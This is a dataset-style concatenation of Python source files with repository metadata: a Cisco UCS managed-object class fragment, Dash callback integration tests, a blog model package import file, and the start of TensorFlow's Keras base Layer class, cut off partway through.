MoPropertyMeta.NAMING, 0x8, None, None, r"""[\-\.:_a-zA-Z0-9]{1,64}""", [], []), "rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []), "status": MoPropertyMeta("status", "status", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x20, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []), "type": MoPropertyMeta("type", "type", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, None, None, None, None, ["major", "minor"], []), } prop_map = { "childAction": "child_action", "dn": "dn", "fltAggr": "flt_aggr", "functionalState": "functional_state", "name": "name", "rn": "rn", "status": "status", "type": "type", } def __init__(self, parent_mo_or_dn, name, **kwargs): self._dirty_mask = 0 self.name = name self.child_action = None self.flt_aggr = None self.functional_state = None self.status = None self.type = None ManagedObject.__init__(self, "DomainStorageFeature", parent_mo_or_dn, **kwargs)

true

f7f37c2f47e6e6bca6928d1d0a997a653728f2e1

11,159

py

Python

tests/integration/callbacks/test_basic_callback.py

iameo/dash

bc9889c0427238cececcb2acc7d67410cb1ace3c

[ "MIT" ]

null

tests/integration/callbacks/test_basic_callback.py

iameo/dash

bc9889c0427238cececcb2acc7d67410cb1ace3c

[ "MIT" ]

null

tests/integration/callbacks/test_basic_callback.py

iameo/dash

bc9889c0427238cececcb2acc7d67410cb1ace3c

[ "MIT" ]

null

import json from multiprocessing import Value import pytest import dash_core_components as dcc import dash_html_components as html import dash_table import dash from dash.dependencies import Input, Output, State from dash.exceptions import PreventUpdate def test_cbsc001_simple_callback(dash_duo): app = dash.Dash(__name__) app.layout = html.Div( [ dcc.Input(id="input", value="initial value"), html.Div(html.Div([1.5, None, "string", html.Div(id="output-1")])), ] ) call_count = Value("i", 0) @app.callback(Output("output-1", "children"), [Input("input", "value")]) def update_output(value): call_count.value = call_count.value + 1 return value dash_duo.start_server(app) assert dash_duo.find_element("#output-1").text == "initial value" dash_duo.percy_snapshot(name="simple-callback-initial") input_ = dash_duo.find_element("#input") dash_duo.clear_input(input_) input_.send_keys("hello world") assert dash_duo.find_element("#output-1").text == "hello world" dash_duo.percy_snapshot(name="simple-callback-hello-world") assert call_count.value == 2 + len("hello world"), "initial count + each key stroke" assert not dash_duo.redux_state_is_loading assert dash_duo.get_logs() == [] def test_cbsc002_callbacks_generating_children(dash_duo): """Modify the DOM tree by adding new components in the callbacks.""" # some components don't exist in the initial render app = dash.Dash(__name__, suppress_callback_exceptions=True) app.layout = html.Div( [dcc.Input(id="input", value="initial value"), html.Div(id="output")] ) @app.callback(Output("output", "children"), [Input("input", "value")]) def pad_output(input): return html.Div( [ dcc.Input(id="sub-input-1", value="sub input initial value"), html.Div(id="sub-output-1"), ] ) call_count = Value("i", 0) @app.callback(Output("sub-output-1", "children"), [Input("sub-input-1", "value")]) def update_input(value): call_count.value = call_count.value + 1 return value dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#sub-output-1", "sub input initial value") assert call_count.value == 1, "called once at initial stage" pad_input, pad_div = dash_duo.dash_innerhtml_dom.select_one( "#output > div" ).contents assert ( pad_input.attrs["value"] == "sub input initial value" and pad_input.attrs["id"] == "sub-input-1" ) assert pad_input.name == "input" assert ( pad_div.text == pad_input.attrs["value"] and pad_div.get("id") == "sub-output-1" ), "the sub-output-1 content reflects to sub-input-1 value" dash_duo.percy_snapshot(name="callback-generating-function-1") paths = dash_duo.redux_state_paths assert paths["objs"] == {} assert paths["strs"] == { "input": ["props", "children", 0], "output": ["props", "children", 1], "sub-input-1": [ "props", "children", 1, "props", "children", "props", "children", 0, ], "sub-output-1": [ "props", "children", 1, "props", "children", "props", "children", 1, ], }, "the paths should include these new output IDs" # editing the input should modify the sub output dash_duo.find_element("#sub-input-1").send_keys("deadbeef") assert ( dash_duo.find_element("#sub-output-1").text == pad_input.attrs["value"] + "deadbeef" ), "deadbeef is added" # the total updates is initial one + the text input changes dash_duo.wait_for_text_to_equal( "#sub-output-1", pad_input.attrs["value"] + "deadbeef" ) assert not dash_duo.redux_state_is_loading, "loadingMap is empty" dash_duo.percy_snapshot(name="callback-generating-function-2") assert dash_duo.get_logs() == [], "console is clean" def test_cbsc003_callback_with_unloaded_async_component(dash_duo): app = dash.Dash() app.layout = html.Div( children=[ dcc.Tabs( children=[ dcc.Tab( children=[ html.Button(id="btn", children="Update Input"), html.Div(id="output", children=["Hello"]), ] ), dcc.Tab(children=dash_table.DataTable(id="other-table")), ] ) ] ) @app.callback(Output("output", "children"), [Input("btn", "n_clicks")]) def update_out(n_clicks): if n_clicks is None: raise PreventUpdate return "Bye" dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#output", "Hello") dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", "Bye") assert dash_duo.get_logs() == [] def test_cbsc004_callback_using_unloaded_async_component(dash_duo): app = dash.Dash() app.layout = html.Div( [ dcc.Tabs( [ dcc.Tab("boo!"), dcc.Tab( dash_table.DataTable( id="table", columns=[{"id": "a", "name": "A"}], data=[{"a": "b"}], ) ), ] ), html.Button("Update Input", id="btn"), html.Div("Hello", id="output"), html.Div(id="output2"), ] ) @app.callback( Output("output", "children"), [Input("btn", "n_clicks")], [State("table", "data")], ) def update_out(n_clicks, data): return json.dumps(data) + " - " + str(n_clicks) @app.callback( Output("output2", "children"), [Input("btn", "n_clicks")], [State("table", "derived_viewport_data")], ) def update_out2(n_clicks, data): return json.dumps(data) + " - " + str(n_clicks) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - None') dash_duo.wait_for_text_to_equal("#output2", "null - None") dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - 1') dash_duo.wait_for_text_to_equal("#output2", "null - 1") dash_duo.find_element(".tab:not(.tab--selected)").click() dash_duo.wait_for_text_to_equal("#table th", "A") # table props are in state so no change yet dash_duo.wait_for_text_to_equal("#output2", "null - 1") # repeat a few times, since one of the failure modes I saw during dev was # intermittent - but predictably so? for i in range(2, 10): expected = '[{"a": "b"}] - ' + str(i) dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", expected) # now derived props are available dash_duo.wait_for_text_to_equal("#output2", expected) assert dash_duo.get_logs() == [] def test_cbsc005_children_types(dash_duo): app = dash.Dash() app.layout = html.Div([html.Button(id="btn"), html.Div("init", id="out")]) outputs = [ [None, ""], ["a string", "a string"], [123, "123"], [123.45, "123.45"], [[6, 7, 8], "678"], [["a", "list", "of", "strings"], "alistofstrings"], [["strings", 2, "numbers"], "strings2numbers"], [["a string", html.Div("and a div")], "a string\nand a div"], ] @app.callback(Output("out", "children"), [Input("btn", "n_clicks")]) def set_children(n): if n is None or n > len(outputs): return dash.no_update return outputs[n - 1][0] dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", "init") for children, text in outputs: dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", text) def test_cbsc006_array_of_objects(dash_duo): app = dash.Dash() app.layout = html.Div( [html.Button(id="btn"), dcc.Dropdown(id="dd"), html.Div(id="out")] ) @app.callback(Output("dd", "options"), [Input("btn", "n_clicks")]) def set_options(n): return [{"label": "opt{}".format(i), "value": i} for i in range(n or 0)] @app.callback(Output("out", "children"), [Input("dd", "options")]) def set_out(opts): print(repr(opts)) return len(opts) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", "0") for i in range(5): dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", str(i + 1)) dash_duo.select_dcc_dropdown("#dd", "opt{}".format(i)) @pytest.mark.parametrize("refresh", [False, True]) def test_cbsc007_parallel_updates(refresh, dash_duo): # This is a funny case, that seems to mostly happen with dcc.Location # but in principle could happen in other cases too: # A callback chain (in this case the initial hydration) is set to update a # value, but after that callback is queued and before it returns, that value # is also set explicitly from the front end (in this case Location.pathname, # which gets set in its componentDidMount during the render process, and # callbacks are delayed until after rendering is finished because of the # async table) # At one point in the wildcard PR #1103, changing from requestQueue to # pendingCallbacks, calling PreventUpdate in the callback would also skip # any callbacks that depend on pathname, despite the new front-end-provided # value. app = dash.Dash() app.layout = html.Div( [ dcc.Location(id="loc", refresh=refresh), html.Button("Update path", id="btn"), dash_table.DataTable(id="t", columns=[{"name": "a", "id": "a"}]), html.Div(id="out"), ] ) @app.callback(Output("t", "data"), [Input("loc", "pathname")]) def set_data(path): return [{"a": (path or repr(path)) + ":a"}] @app.callback( Output("out", "children"), [Input("loc", "pathname"), Input("t", "data")] ) def set_out(path, data): return json.dumps(data) + " - " + (path or repr(path)) @app.callback(Output("loc", "pathname"), [Input("btn", "n_clicks")]) def set_path(n): if not n: raise PreventUpdate return "/{0}".format(n) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", '[{"a": "/:a"}] - /') dash_duo.find_element("#btn").click() # the refresh=True case here is testing that we really do get the right # pathname, not the prevented default value from the layout. dash_duo.wait_for_text_to_equal("#out", '[{"a": "/1:a"}] - /1') if not refresh: dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", '[{"a": "/2:a"}] - /2')

32.344928

88

0.58473

import json from multiprocessing import Value import pytest import dash_core_components as dcc import dash_html_components as html import dash_table import dash from dash.dependencies import Input, Output, State from dash.exceptions import PreventUpdate def test_cbsc001_simple_callback(dash_duo): app = dash.Dash(__name__) app.layout = html.Div( [ dcc.Input(id="input", value="initial value"), html.Div(html.Div([1.5, None, "string", html.Div(id="output-1")])), ] ) call_count = Value("i", 0) @app.callback(Output("output-1", "children"), [Input("input", "value")]) def update_output(value): call_count.value = call_count.value + 1 return value dash_duo.start_server(app) assert dash_duo.find_element("#output-1").text == "initial value" dash_duo.percy_snapshot(name="simple-callback-initial") input_ = dash_duo.find_element("#input") dash_duo.clear_input(input_) input_.send_keys("hello world") assert dash_duo.find_element("#output-1").text == "hello world" dash_duo.percy_snapshot(name="simple-callback-hello-world") assert call_count.value == 2 + len("hello world"), "initial count + each key stroke" assert not dash_duo.redux_state_is_loading assert dash_duo.get_logs() == [] def test_cbsc002_callbacks_generating_children(dash_duo): app = dash.Dash(__name__, suppress_callback_exceptions=True) app.layout = html.Div( [dcc.Input(id="input", value="initial value"), html.Div(id="output")] ) @app.callback(Output("output", "children"), [Input("input", "value")]) def pad_output(input): return html.Div( [ dcc.Input(id="sub-input-1", value="sub input initial value"), html.Div(id="sub-output-1"), ] ) call_count = Value("i", 0) @app.callback(Output("sub-output-1", "children"), [Input("sub-input-1", "value")]) def update_input(value): call_count.value = call_count.value + 1 return value dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#sub-output-1", "sub input initial value") assert call_count.value == 1, "called once at initial stage" pad_input, pad_div = dash_duo.dash_innerhtml_dom.select_one( "#output > div" ).contents assert ( pad_input.attrs["value"] == "sub input initial value" and pad_input.attrs["id"] == "sub-input-1" ) assert pad_input.name == "input" assert ( pad_div.text == pad_input.attrs["value"] and pad_div.get("id") == "sub-output-1" ), "the sub-output-1 content reflects to sub-input-1 value" dash_duo.percy_snapshot(name="callback-generating-function-1") paths = dash_duo.redux_state_paths assert paths["objs"] == {} assert paths["strs"] == { "input": ["props", "children", 0], "output": ["props", "children", 1], "sub-input-1": [ "props", "children", 1, "props", "children", "props", "children", 0, ], "sub-output-1": [ "props", "children", 1, "props", "children", "props", "children", 1, ], }, "the paths should include these new output IDs" # editing the input should modify the sub output dash_duo.find_element("#sub-input-1").send_keys("deadbeef") assert ( dash_duo.find_element("#sub-output-1").text == pad_input.attrs["value"] + "deadbeef" ), "deadbeef is added" # the total updates is initial one + the text input changes dash_duo.wait_for_text_to_equal( "#sub-output-1", pad_input.attrs["value"] + "deadbeef" ) assert not dash_duo.redux_state_is_loading, "loadingMap is empty" dash_duo.percy_snapshot(name="callback-generating-function-2") assert dash_duo.get_logs() == [], "console is clean" def test_cbsc003_callback_with_unloaded_async_component(dash_duo): app = dash.Dash() app.layout = html.Div( children=[ dcc.Tabs( children=[ dcc.Tab( children=[ html.Button(id="btn", children="Update Input"), html.Div(id="output", children=["Hello"]), ] ), dcc.Tab(children=dash_table.DataTable(id="other-table")), ] ) ] ) @app.callback(Output("output", "children"), [Input("btn", "n_clicks")]) def update_out(n_clicks): if n_clicks is None: raise PreventUpdate return "Bye" dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#output", "Hello") dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", "Bye") assert dash_duo.get_logs() == [] def test_cbsc004_callback_using_unloaded_async_component(dash_duo): app = dash.Dash() app.layout = html.Div( [ dcc.Tabs( [ dcc.Tab("boo!"), dcc.Tab( dash_table.DataTable( id="table", columns=[{"id": "a", "name": "A"}], data=[{"a": "b"}], ) ), ] ), html.Button("Update Input", id="btn"), html.Div("Hello", id="output"), html.Div(id="output2"), ] ) @app.callback( Output("output", "children"), [Input("btn", "n_clicks")], [State("table", "data")], ) def update_out(n_clicks, data): return json.dumps(data) + " - " + str(n_clicks) @app.callback( Output("output2", "children"), [Input("btn", "n_clicks")], [State("table", "derived_viewport_data")], ) def update_out2(n_clicks, data): return json.dumps(data) + " - " + str(n_clicks) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - None') dash_duo.wait_for_text_to_equal("#output2", "null - None") dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", '[{"a": "b"}] - 1') dash_duo.wait_for_text_to_equal("#output2", "null - 1") dash_duo.find_element(".tab:not(.tab--selected)").click() dash_duo.wait_for_text_to_equal("#table th", "A") # table props are in state so no change yet dash_duo.wait_for_text_to_equal("#output2", "null - 1") # repeat a few times, since one of the failure modes I saw during dev was # intermittent - but predictably so? for i in range(2, 10): expected = '[{"a": "b"}] - ' + str(i) dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#output", expected) # now derived props are available dash_duo.wait_for_text_to_equal("#output2", expected) assert dash_duo.get_logs() == [] def test_cbsc005_children_types(dash_duo): app = dash.Dash() app.layout = html.Div([html.Button(id="btn"), html.Div("init", id="out")]) outputs = [ [None, ""], ["a string", "a string"], [123, "123"], [123.45, "123.45"], [[6, 7, 8], "678"], [["a", "list", "of", "strings"], "alistofstrings"], [["strings", 2, "numbers"], "strings2numbers"], [["a string", html.Div("and a div")], "a string\nand a div"], ] @app.callback(Output("out", "children"), [Input("btn", "n_clicks")]) def set_children(n): if n is None or n > len(outputs): return dash.no_update return outputs[n - 1][0] dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", "init") for children, text in outputs: dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", text) def test_cbsc006_array_of_objects(dash_duo): app = dash.Dash() app.layout = html.Div( [html.Button(id="btn"), dcc.Dropdown(id="dd"), html.Div(id="out")] ) @app.callback(Output("dd", "options"), [Input("btn", "n_clicks")]) def set_options(n): return [{"label": "opt{}".format(i), "value": i} for i in range(n or 0)] @app.callback(Output("out", "children"), [Input("dd", "options")]) def set_out(opts): print(repr(opts)) return len(opts) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", "0") for i in range(5): dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", str(i + 1)) dash_duo.select_dcc_dropdown("#dd", "opt{}".format(i)) @pytest.mark.parametrize("refresh", [False, True]) def test_cbsc007_parallel_updates(refresh, dash_duo): # This is a funny case, that seems to mostly happen with dcc.Location # but in principle could happen in other cases too: # A callback chain (in this case the initial hydration) is set to update a # value, but after that callback is queued and before it returns, that value # is also set explicitly from the front end (in this case Location.pathname, # which gets set in its componentDidMount during the render process, and # callbacks are delayed until after rendering is finished because of the # async table) # At one point in the wildcard PR #1103, changing from requestQueue to # pendingCallbacks, calling PreventUpdate in the callback would also skip # any callbacks that depend on pathname, despite the new front-end-provided # value. app = dash.Dash() app.layout = html.Div( [ dcc.Location(id="loc", refresh=refresh), html.Button("Update path", id="btn"), dash_table.DataTable(id="t", columns=[{"name": "a", "id": "a"}]), html.Div(id="out"), ] ) @app.callback(Output("t", "data"), [Input("loc", "pathname")]) def set_data(path): return [{"a": (path or repr(path)) + ":a"}] @app.callback( Output("out", "children"), [Input("loc", "pathname"), Input("t", "data")] ) def set_out(path, data): return json.dumps(data) + " - " + (path or repr(path)) @app.callback(Output("loc", "pathname"), [Input("btn", "n_clicks")]) def set_path(n): if not n: raise PreventUpdate return "/{0}".format(n) dash_duo.start_server(app) dash_duo.wait_for_text_to_equal("#out", '[{"a": "/:a"}] - /') dash_duo.find_element("#btn").click() # the refresh=True case here is testing that we really do get the right # pathname, not the prevented default value from the layout. dash_duo.wait_for_text_to_equal("#out", '[{"a": "/1:a"}] - /1') if not refresh: dash_duo.find_element("#btn").click() dash_duo.wait_for_text_to_equal("#out", '[{"a": "/2:a"}] - /2')

true

f7f37e26a4abbadcdf75458a769e83313a462957

315

py

Python

backend/app/model/__init__.py

bbruceyuan/easy-blog

742bd8d0c8f3d8af793c4e8f531daad410a46151

[ "MIT" ]

1

2018-08-01T10:51:54.000Z

backend/app/model/__init__.py

hey-bruce/easy_blog

742bd8d0c8f3d8af793c4e8f531daad410a46151

[ "MIT" ]

1

2019-07-20T07:14:25.000Z

backend/app/model/__init__.py

bbruceyuan/easy-blog

742bd8d0c8f3d8af793c4e8f531daad410a46151

[ "MIT" ]

null

#!/usr/bin/env python # Created by BBruceyuan on 18-7-5. from .user import User from .post import Post from .tag import Tag, TagUtil from .category import Category, CategoryUtil from .comment import Comment from .tag_post_relation import tag_post_relation from .category_post_relation import category_post_relation

31.5

58

0.822222

from .user import User from .post import Post from .tag import Tag, TagUtil from .category import Category, CategoryUtil from .comment import Comment from .tag_post_relation import tag_post_relation from .category_post_relation import category_post_relation

true

f7f37ec2387430bab8e02819fc60b64eedd5bf5a

109,667

py

Python

tensorflow/python/keras/engine/base_layer.py

faustomorales/tensorflow

63b84e3b732f050e53902481fa8cb02791a5d789

[ "Apache-2.0" ]

2

2020-01-13T11:41:38.000Z

2020-01-14T16:43:23.000Z

tensorflow/python/keras/engine/base_layer.py

faustomorales/tensorflow

63b84e3b732f050e53902481fa8cb02791a5d789

[ "Apache-2.0" ]

1

2022-02-10T00:32:22.000Z

tensorflow/python/keras/engine/base_layer.py

faustomorales/tensorflow

63b84e3b732f050e53902481fa8cb02791a5d789

[ "Apache-2.0" ]

2

2020-01-16T12:41:10.000Z

2020-01-16T12:42:02.000Z

# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=protected-access """Contains the base Layer class, from which all layers inherit.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import functools import itertools import threading import numpy as np from six.moves import zip # pylint: disable=redefined-builtin from google.protobuf import json_format from tensorflow.core.framework import node_def_pb2 from tensorflow.python.autograph.core import ag_ctx from tensorflow.python.autograph.impl import api as autograph from tensorflow.python.distribute import distribution_strategy_context as ds_context from tensorflow.python.eager import context from tensorflow.python.eager import execute from tensorflow.python.eager import function from tensorflow.python.eager import monitoring from tensorflow.python.framework import auto_control_deps from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import func_graph from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_spec from tensorflow.python.framework import tensor_util from tensorflow.python.keras import backend from tensorflow.python.keras import constraints from tensorflow.python.keras import initializers from tensorflow.python.keras import regularizers from tensorflow.python.keras.engine import base_layer_utils from tensorflow.python.keras.engine import input_spec from tensorflow.python.keras.engine import node as node_module from tensorflow.python.keras.mixed_precision.experimental import autocast_variable from tensorflow.python.keras.mixed_precision.experimental import policy from tensorflow.python.keras.saving.saved_model import layer_serialization from tensorflow.python.keras.utils import generic_utils from tensorflow.python.keras.utils import layer_utils from tensorflow.python.keras.utils import tf_utils # A module that only depends on `keras.layers` import these from here. from tensorflow.python.keras.utils.generic_utils import to_snake_case # pylint: disable=unused-import from tensorflow.python.keras.utils.tf_utils import is_tensor_or_tensor_list # pylint: disable=unused-import from tensorflow.python.module import module from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import variables as tf_variables from tensorflow.python.ops.ragged import ragged_tensor from tensorflow.python.platform import tf_logging from tensorflow.python.training.tracking import base as trackable from tensorflow.python.training.tracking import data_structures from tensorflow.python.training.tracking import layer_utils as trackable_layer_utils from tensorflow.python.training.tracking import tracking from tensorflow.python.util import compat from tensorflow.python.util import deprecation from tensorflow.python.util import nest from tensorflow.python.util import object_identity from tensorflow.python.util import tf_inspect from tensorflow.python.util.tf_export import keras_export from tensorflow.tools.docs import doc_controls # Prefix that is added to the TF op layer names. _TF_OP_LAYER_NAME_PREFIX = 'tf_op_layer_' _keras_layers_gauge = monitoring.BoolGauge('/tensorflow/api/keras/layers', 'keras layers usage', 'method') _keras_model_gauge = monitoring.BoolGauge( '/tensorflow/api/keras/premade_models', 'premade keras model usage', 'type') @keras_export('keras.layers.Layer') class Layer(module.Module): """Base layer class. This is the class from which all layers inherit. A layer is a class implementing common neural networks operations, such as convolution, batch norm, etc. These operations require managing weights, losses, updates, and inter-layer connectivity. Users will just instantiate a layer and then treat it as a callable. We recommend that descendants of `Layer` implement the following methods: * `__init__()`: Save configuration in member variables * `build()`: Called once from `__call__`, when we know the shapes of inputs and `dtype`. Should have the calls to `add_weight()`, and then call the super's `build()` (which sets `self.built = True`, which is nice in case the user wants to call `build()` manually before the first `__call__`). * `call()`: Called in `__call__` after making sure `build()` has been called once. Should actually perform the logic of applying the layer to the input tensors (which should be passed in as the first argument). Arguments: trainable: Boolean, whether the layer's variables should be trainable. name: String name of the layer. dtype: The dtype of the layer's computations and weights (default of `None` means use `tf.keras.backend.floatx` in TensorFlow 2, or the type of the first input in TensorFlow 1). dynamic: Set this to `True` if your layer should only be run eagerly, and should not be used to generate a static computation graph. This would be the case for a Tree-RNN or a recursive network, for example, or generally for any layer that manipulates tensors using Python control flow. If `False`, we assume that the layer can safely be used to generate a static computation graph. Attributes (read-only properties): name: The name of the layer (string). dtype: The dtype of the layer's computations and weights. If mixed precision is used with a `tf.keras.mixed_precision.experimental.Policy`, this is instead just the dtype of the layer's weights, as the computations are done in a different dtype. updates: List of update ops of this layer. losses: List of losses added by this layer. trainable_weights: List of variables to be included in backprop. non_trainable_weights: List of variables that should not be included in backprop. weights: The concatenation of the lists trainable_weights and non_trainable_weights (in this order). Mutable properties: trainable: Whether the layer should be trained (boolean). input_spec: Optional (list of) `InputSpec` object(s) specifying the constraints on inputs that can be accepted by the layer. ### Dtypes and casting Each layer has a dtype, which is typically the dtype of the layer's computations and variables. A layer's dtype can be queried via the `Layer.dtype` property. The dtype is specified with the `dtype` constructor argument. In TensorFlow 2, the dtype defaults to `tf.keras.backend.floatx()` if no dtype is passed. `floatx()` itself defaults to "float32". Additionally, layers will cast their inputs to the layer's dtype in TensorFlow 2. When mixed precision is used, layers may have different computation and variable dtypes. See `tf.keras.mixed_precision.experimental.Policy` for details on layer dtypes. """ # See tf.Module for the usage of this property. # The key for _obj_reference_counts_dict is a Trackable, which could be a # variable or layer etc. tf.Module._flatten will fail to flatten the key # since it is trying to convert Trackable to a string. This attribute can be # ignored even after the fix of nest lib, since the trackable object should # already been available as individual attributes. _obj_reference_counts_dict # just contains a copy of them. _TF_MODULE_IGNORED_PROPERTIES = frozenset(itertools.chain( ('_obj_reference_counts_dict',), module.Module._TF_MODULE_IGNORED_PROPERTIES )) @trackable.no_automatic_dependency_tracking def __init__(self, trainable=True, name=None, dtype=None, dynamic=False, **kwargs): # These properties should be set by the user via keyword arguments. # note that 'dtype', 'input_shape' and 'batch_input_shape' # are only applicable to input layers: do not pass these keywords # to non-input layers. allowed_kwargs = { 'input_shape', 'batch_input_shape', 'batch_size', 'weights', 'activity_regularizer', 'autocast' } # Validate optional keyword arguments. generic_utils.validate_kwargs(kwargs, allowed_kwargs) # Mutable properties # Indicates whether the layer's weights are updated during training # and whether the layer's updates are run during training. self._trainable = trainable # A stateful layer is a layer whose updates are run during inference too, # for instance stateful RNNs. self._stateful = False # Indicates whether `build` needs to be called upon layer call, to create # the layer's weights. self.built = False # Provides information about which inputs are compatible with the layer. self.input_spec = None self.supports_masking = False self._supports_ragged_inputs = False self._init_set_name(name) self._activity_regularizer = kwargs.pop('activity_regularizer', None) self._maybe_create_attribute('_trainable_weights', []) self._maybe_create_attribute('_non_trainable_weights', []) self._updates = [] # Object to store all thread local layer properties. self._thread_local = threading.local() # A list of zero-argument lambdas which return Tensors, used for variable # regularizers. self._callable_losses = [] # A list of symbolic Tensors containing activity regularizers and losses # manually added through `add_loss` in graph-building mode. self._losses = [] # A list of metric instances corresponding to the symbolic metric tensors # added using the `add_metric` API. self._metrics = [] self._set_dtype_policy(dtype) # Boolean indicating whether the layer automatically casts its inputs to the # layer's compute_dtype. self._autocast = kwargs.get('autocast', base_layer_utils.v2_dtype_behavior_enabled()) # Dependencies tracked via attribute assignment. self._maybe_create_attribute('_layers', []) # These lists will be filled via successive calls # to self._add_inbound_node(). self._inbound_nodes = [] self._outbound_nodes = [] self._init_call_fn_args() # Whether the `call` method can be used to build a TF graph without issues. self._dynamic = dynamic # Manage input shape information if passed. if 'input_shape' in kwargs or 'batch_input_shape' in kwargs: # In this case we will later create an input layer # to insert before the current layer if 'batch_input_shape' in kwargs: batch_input_shape = tuple(kwargs['batch_input_shape']) elif 'input_shape' in kwargs: if 'batch_size' in kwargs: batch_size = kwargs['batch_size'] else: batch_size = None batch_input_shape = (batch_size,) + tuple(kwargs['input_shape']) self._batch_input_shape = batch_input_shape # Manage initial weight values if passed. if 'weights' in kwargs: self._initial_weights = kwargs['weights'] else: self._initial_weights = None def build(self, input_shape): """Creates the variables of the layer (optional, for subclass implementers). This is a method that implementers of subclasses of `Layer` or `Model` can override if they need a state-creation step in-between layer instantiation and layer call. This is typically used to create the weights of `Layer` subclasses. Arguments: input_shape: Instance of `TensorShape`, or list of instances of `TensorShape` if the layer expects a list of inputs (one instance per input). """ self.built = True @doc_controls.for_subclass_implementers def call(self, inputs, **kwargs): # pylint: disable=unused-argument """This is where the layer's logic lives. Arguments: inputs: Input tensor, or list/tuple of input tensors. **kwargs: Additional keyword arguments. Returns: A tensor or list/tuple of tensors. """ return inputs @doc_controls.for_subclass_implementers def _add_trackable(self, trackable_object, trainable): """Adds a Trackable object to this layer's state. Arguments: trackable_object: The tf.tracking.Trackable object to add. trainable: Boolean, whether the variable should be part of the layer's "trainable_variables" (e.g. variables, biases) or "non_trainable_variables" (e.g. BatchNorm mean and variance). Returns: The TrackableWeightHandler used to track this object. """ handler = base_layer_utils.TrackableWeightHandler(trackable_object) if trainable: self._trainable_weights.append(handler) else: self._non_trainable_weights.append(handler) return handler @doc_controls.for_subclass_implementers def add_weight(self, name=None, shape=None, dtype=None, initializer=None, regularizer=None, trainable=None, constraint=None, partitioner=None, use_resource=None, synchronization=tf_variables.VariableSynchronization.AUTO, aggregation=tf_variables.VariableAggregation.NONE, **kwargs): """Adds a new variable to the layer. Arguments: name: Variable name. shape: Variable shape. Defaults to scalar if unspecified. dtype: The type of the variable. Defaults to `self.dtype` or `float32`. initializer: Initializer instance (callable). regularizer: Regularizer instance (callable). trainable: Boolean, whether the variable should be part of the layer's "trainable_variables" (e.g. variables, biases) or "non_trainable_variables" (e.g. BatchNorm mean and variance). Note that `trainable` cannot be `True` if `synchronization` is set to `ON_READ`. constraint: Constraint instance (callable). partitioner: Partitioner to be passed to the `Trackable` API. use_resource: Whether to use `ResourceVariable`. synchronization: Indicates when a distributed a variable will be aggregated. Accepted values are constants defined in the class `tf.VariableSynchronization`. By default the synchronization is set to `AUTO` and the current `DistributionStrategy` chooses when to synchronize. If `synchronization` is set to `ON_READ`, `trainable` must not be set to `True`. aggregation: Indicates how a distributed variable will be aggregated. Accepted values are constants defined in the class `tf.VariableAggregation`. **kwargs: Additional keyword arguments. Accepted values are `getter`, `collections`, `experimental_autocast` and `caching_device`. Returns: The created variable. Usually either a `Variable` or `ResourceVariable` instance. If `partitioner` is not `None`, a `PartitionedVariable` instance is returned. Raises: RuntimeError: If called with partitioned variable regularization and eager execution is enabled. ValueError: When giving unsupported dtype and no initializer or when trainable has been set to True with synchronization set as `ON_READ`. """ if shape is None: shape = () # Validate optional keyword arguments. for kwarg in kwargs: if kwarg not in ['getter', 'collections', 'experimental_autocast', 'caching_device']: raise TypeError('Unknown keyword argument:', kwarg) getter = kwargs.pop('getter', base_layer_utils.make_variable) collections_arg = kwargs.pop('collections', None) # 'experimental_autocast' can be set to False by the caller to indicate an # AutoCastVariable should never be created. autocast = kwargs.pop('experimental_autocast', True) # See the docstring for tf.Variable about the details for caching_device. caching_device = kwargs.pop('caching_device', None) if dtype is None: dtype = self.dtype or backend.floatx() dtype = dtypes.as_dtype(dtype) if self._dtype_policy.variable_dtype is None: # The policy is "infer", so we infer the policy from the variable dtype. self._dtype_policy = policy.Policy(dtype.base_dtype.name) initializer = initializers.get(initializer) regularizer = regularizers.get(regularizer) constraint = constraints.get(constraint) if synchronization == tf_variables.VariableSynchronization.ON_READ: if trainable: raise ValueError( 'Synchronization value can be set to ' 'VariableSynchronization.ON_READ only for non-trainable variables. ' 'You have specified trainable=True and ' 'synchronization=VariableSynchronization.ON_READ.') else: # 